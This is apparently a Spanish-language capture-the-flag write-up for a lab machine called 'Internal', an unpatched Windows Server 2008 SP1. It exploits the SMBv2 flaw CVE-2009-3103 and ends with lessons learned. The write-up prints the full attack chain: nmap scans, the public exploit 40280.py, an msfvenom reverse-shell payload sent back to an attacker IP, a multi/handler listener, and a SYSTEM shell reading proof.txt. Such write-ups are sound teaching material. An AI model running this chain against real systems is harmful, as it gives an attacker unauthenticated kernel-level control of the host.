Internal

TL;DR. Internal es un Windows Server 2008 SP1 sin parchear. El escaneo de scripts de SMB lo delata: es vulnerable a CVE-2009-3103 (MS09-050), un desbordamiento en el controlador SMBv2 srv2.sys (SMBv2 srv2.sys). Con el exploit público 40280.py, un shellcode de msfvenom y un multi/handler, la negociación maliciosa de SMB nos da una shell directa como NT AUTHORITY\SYSTEM. No hay fase de usuario ni escalada: el fallo está en el kernel.

Reconocimiento

Escaneo inicial

TTL 125 → Windows: Windows inicia el TTL en 128 y cada salto de routing lo decrementa, así que 125 = 128−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios. Escaneamos UDP y TCP:

ping -c 1 192.168.155.40
nmap -sU --top-ports 1000 -Pn -n --open 192.168.155.40
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.155.40

PORT     STATE SERVICE
53/tcp   open  domain
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
3389/tcp open  ms-wbt-server
5357/tcp open  http

nmap -p53,135,139,445,3389,5357 -sCV 192.168.155.40 -oN targetedScan

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Microsoft DNS 6.0.6001 (Windows Server 2008 SP1)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds  Windows Server (R) 2008 Standard 6001 SP1 (workgroup: WORKGROUP)
3389/tcp  open  ms-wbt-server Microsoft Terminal Service
5357/tcp  open  http          Microsoft HTTPAPI httpd 2.0
49152-49158/tcp open msrpc    Microsoft Windows RPC

El conjunto (DNS, RPC, NetBIOS, SMB, RDP y los puertos altos dinámicos) y la versión declarada dejan claro el objetivo: Windows Server 2008 Standard SP1, build 6001. Un 2008 SP1 sin tocar es candidato directo a vulnerabilidades de SMB antiguas, así que el siguiente paso natural es lanzar los scripts smb-vuln.

SMB - TCP 445: scripts de vulnerabilidad

nmap con la categoría smb-vuln* confirma la vía de entrada: la máquina es VULNERABLE a CVE-2009-3103 (el exploit SMBv2 de srv2.sys):

nmap -p139,445 --script "smb-vuln*" 192.168.155.40

| smb-vuln-cve2009-3103:
|   VULNERABLE:
|   SMBv2 exploit (CVE-2009-3103, Microsoft Security Advisory 975497)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2009-3103
|_    Disclosure date: 2009-09-08

CVE-2009-3103 es un error de índice de array en srv2.sys al procesar el campo Process ID High de un paquete de negociación SMBv2; bien explotado, ejecuta código en el kernel. Es el equivalente "2009" de EternalBlue: SMB en el kernel, sin autenticar, shell como SYSTEM.

Shell como SYSTEM

CVE-2009-3103 / MS09-050: exploit + msfvenom + multi/handler

Buscamos un exploit público y searchsploit da el 40280.py (srv2.sys SMB Code Execution):

searchsploit "CVE 2009 3103"
searchsploit -m windows/remote/40280.py
mv 40280.py ms09_050.py

El exploit depende de pysmb y corre sobre Python 2. Instalarlo con pip a secas no basta: el propio repositorio de la librería documenta que un import smb recién instalado falla con ModuleNotFoundError: No module named 'smb.SMBConnection', y que la instalación fiable es dentro de un entorno virtual.

ModuleNotFoundError: No module named 'smb.SMBConnection'; 'smb' is not a package  #152

miketeo (Owner):
You may not have installed pysmb correctly. In my projects, I create a virtualenv environment and
install pysmb in it.

$> python3 -m venv myenv
$> source myenv/bin/activate
$myenv> pip install pysmb

Siguiendo esa indicación, se instala para el intérprete que usa el exploit:

pip2 install pysmb

El shellcode que trae embebido apunta a otro atacante, así que lo regeneramos con msfvenom (payload por etapas windows/shell/reverse_tcp) y pegamos el bloque shell resultante en el exploit (SMBv2 srv2.sys):

msfvenom -p windows/shell/reverse_tcp LHOST=192.168.45.214 LPORT=4444 EXITFUNC=thread -f python -v shell

Levantamos el handler que recibirá la etapa y lanzamos el exploit contra el objetivo:

msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/shell/reverse_tcp; set LHOST 192.168.45.214; set LPORT 4444; run"
python2 ms09_050.py 192.168.155.40

El intento de conexión autenticada falla (NT_STATUS_LOGON_FAILURE), pero eso es irrelevante: el desbordamiento se dispara durante la negociación del protocolo, antes de cualquier autenticación. El handler recibe la shell y whoami confirma el nivel máximo:

[*] Command shell session 1 opened (192.168.45.214:4444 -> 192.168.155.40:49159)
Microsoft Windows [Version 6.0.6001]

C:\Windows\system32>whoami
nt authority\system

Como el fallo es de kernel, la shell ya es NT AUTHORITY\SYSTEM: no hay escalada posterior. Leemos la prueba:

type C:\Users\Administrator\desktop\proof.txt && whoami && hostname && ipconfig

78babc7e2835e6cb084da2953704d5d7

Cadena de ataque

SMB (445)  --  Windows Server 2008 SP1 sin parchear
        │  nmap smb-vuln* -> CVE-2009-3103 (srv2.sys, SMBv2)
        │  40280.py + shellcode msfvenom + multi/handler
        │  overflow en la negociación SMBv2 (kernel)
        ▼
shell como NT AUTHORITY\SYSTEM  (proof.txt)

Lecciones aprendidas

• Un sistema sin soporte es deuda explotable. Windows Server 2008 SP1 acumula vulnerabilidades de SMB de hace más de una década; basta exponer el 445 para que un escaneo smb-vuln señale la entrada.
• Los exploits de kernel dan SYSTEM de una vez. CVE-2009-3103 corrompe memoria en srv2.sys, así que la shell sale directamente como NT AUTHORITY\SYSTEM, sin fase de usuario ni privesc.
• No hace falta autenticarse. El desbordamiento ocurre en la negociación del protocolo; el NT_STATUS_LOGON_FAILURE del intento de login no impide que el exploit funcione.
• Cuidado: es un overflow, puede tumbar la máquina. Si los offsets no casan con la versión exacta, en vez de shell se obtiene un BSOD. Conviene confirmar versión y, en un entorno real, valorar el riesgo de caída antes de dispararlo.